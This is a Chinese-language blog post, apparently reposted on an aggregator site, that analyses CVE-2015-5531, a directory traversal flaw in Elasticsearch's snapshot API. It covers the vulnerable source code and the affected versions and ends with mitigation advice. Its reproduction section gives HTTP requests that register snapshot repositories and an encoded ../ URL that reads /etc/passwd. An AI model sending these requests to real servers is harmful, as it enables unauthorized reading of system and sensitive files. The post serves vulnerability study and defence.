当前位置: 首页 > news >正文

CVE-2015-5531源码分析与漏洞复现(Elasticsearch目录遍历漏洞)

概述

漏洞名称:Elasticsearch 快照API目录遍历漏洞
CVE 编号:CVE-2015-5531
CVSS 评分:7.5
影响版本
Elasticsearch 1.0.0–1.6.0(1.5.1及以前版本无需配置即可触发;1.5.2–1.6.0需配置path.repo
修复版本:≥ 1.6.1
漏洞类型:目录遍历 → 任意文件读取
根本原因
Elasticsearch 快照API未对用户输入的存储路径进行规范化校验,攻击者可通过构造含../的恶意路径参数,绕过目录限制读取服务器任意文件(如/etc/passwd、配置文件或敏感数据)。


源码分析

漏洞位置:org.elasticsearch.repositories.fs.FsRepository

public class FsRepository extends BlobStoreRepository {@Injectpublic FsRepository(RepositoryName name, RepositorySettings repositorySettings, Environment environment) throws IOException {// 关键漏洞点1:获取location参数(用户可控)String location = repositorySettings.settings().get("location", this.componentSettings.get("location"));// 关键漏洞点2:解析路径但未规范化File locationFile = environment.resolveRepoFile(location);// 关键漏洞点3:创建文件系统访问对象this.blobStore = new FsBlobStore(this.componentSettings, locationFile);}
}

漏洞核心:FsBlobStore 构造器

public FsBlobStore(Settings settings, File file) {this.file = file; // 直接存储未规范化的用户输入路径this.bufferSizeInBytes = (int) settings.getAsBytes("buffer_size", 102400).bytes();
}

漏洞触发链

攻击者 FsRepository Environment.resolveRepoFile FsBlobStore FileSystem SnapshotAPI 创建仓库(location="repo/../../../../") 解析路径 返回未规范化路径对象 传入恶意路径 存储路径引用 创建快照(snapshot="passwd") 访问repo/../../../../passwd 读取/etc/passwd 返回敏感文件内容 攻击者 FsRepository Environment.resolveRepoFile FsBlobStore FileSystem SnapshotAPI

漏洞根源分析

  1. 路径解析缺陷

    • environment.resolveRepoFile() 仅验证路径是否在 path.repo 配置范围内
    • 但允许路径包含 ../ 序列(如 valid_path/../../../etc
  2. 缺少规范化校验

    // 应有但缺失的安全检查
    Path normalized = locationFile.toPath().normalize();
    if (!normalized.startsWith(environment.repoFiles()[0].toPath())) {throw new SecurityException("Path traversal attempt");
    }
    
  3. 无快照名称过滤

    • 快照名称直接拼接路径(location + "/" + snapshot
    • 未过滤 snapshot 中的特殊字符

漏洞复现

1. 手动复现步骤

(1)创建恶意仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/test" }
}

在这里插入图片描述

(2)注入路径遍历字符创建快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108{"type": "fs","settings": {"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" }
}

在这里插入图片描述

(3)读取任意文件

http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

在这里插入图片描述

ascii解码
在这里插入图片描述


影响范围

受影响版本

分支受影响版本安全版本
1.0.x–1.4.x全版本无官方更新
1.5.x1.5.0–1.5.1≥ 1.6.1
1.6.x≤ 1.6.0≥ 1.6.1

漏洞启示

  1. 零信任路径处理:所有用户输入路径必须经绝对路径规范化 + 子目录校验(参考OWASP路径遍历防护指南)。
  2. 最小权限原则:备份目录需独立配置,且Elasticsearch进程权限应限制为仅能读写必要目录。
  3. 纵深防御:结合应用层补丁、网络隔离(防火墙规则)和文件监控(Auditd日志审计)多层防护。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/260478.html

相关文章:

  • Qt 与 Halcon 联合开发六:基于海康SDK设计完整的相机类【附源码】
  • LeetCode 349题解 | 两个数组的交集
  • 洛谷P5021 [NOIP 2018 提高组] 赛道修建
  • kubesphere中搭建DevOps创建流水线
  • 关于SAP产品名称变更通知 SAP云认证实施商工博科技
  • 常用命令总结
  • 安全运营中的漏洞管理和相关KPI
  • HarmonyOS NEXT仓颉开发语言实现画板案例
  • HarmonyOS NEXT仓颉开发语言实战案例:简约音乐播放页
  • IPv4网络地址分类
  • Java 大视界 -- Java 大数据在智能安防视频监控系统中的目标轨迹预测与防范策略制定(325)
  • 机器学习6——线性分类函数
  • AI助力基因数据分析:用Python玩转生命密码的秘密
  • 操作系统面试知识点(1):操作系统基础
  • java枚举enum的使用示例
  • mac电脑安装vscode的力扣插件报错解决办法
  • 【Linux】基础开发工具(2)
  • 重定向攻击与防御
  • Docker 入门教程(二):Docker 的基本原理
  • 东芝e-STUDIO 2323AMW双面复印报计数器溢出故障
  • 《规则怪谈》合集
  • Kotlin环境搭建与基础语法入门
  • python pandas数据清洗
  • Python打卡:Day37
  • 黑马JVM解析笔记(四):Javap图解指令流程,深入理解Java字节码执行机制
  • 【办公类-105-01】20250626 托小班报名表-条件格式-判断双胞胎EXCLE
  • MySQL (一):数据类型,完整性约束和表间关系
  • C++智能指针概念及std::unique_ptr使用介绍
  • YOLOv10tensorRT推理代码C++
  • Apipost和Postman对比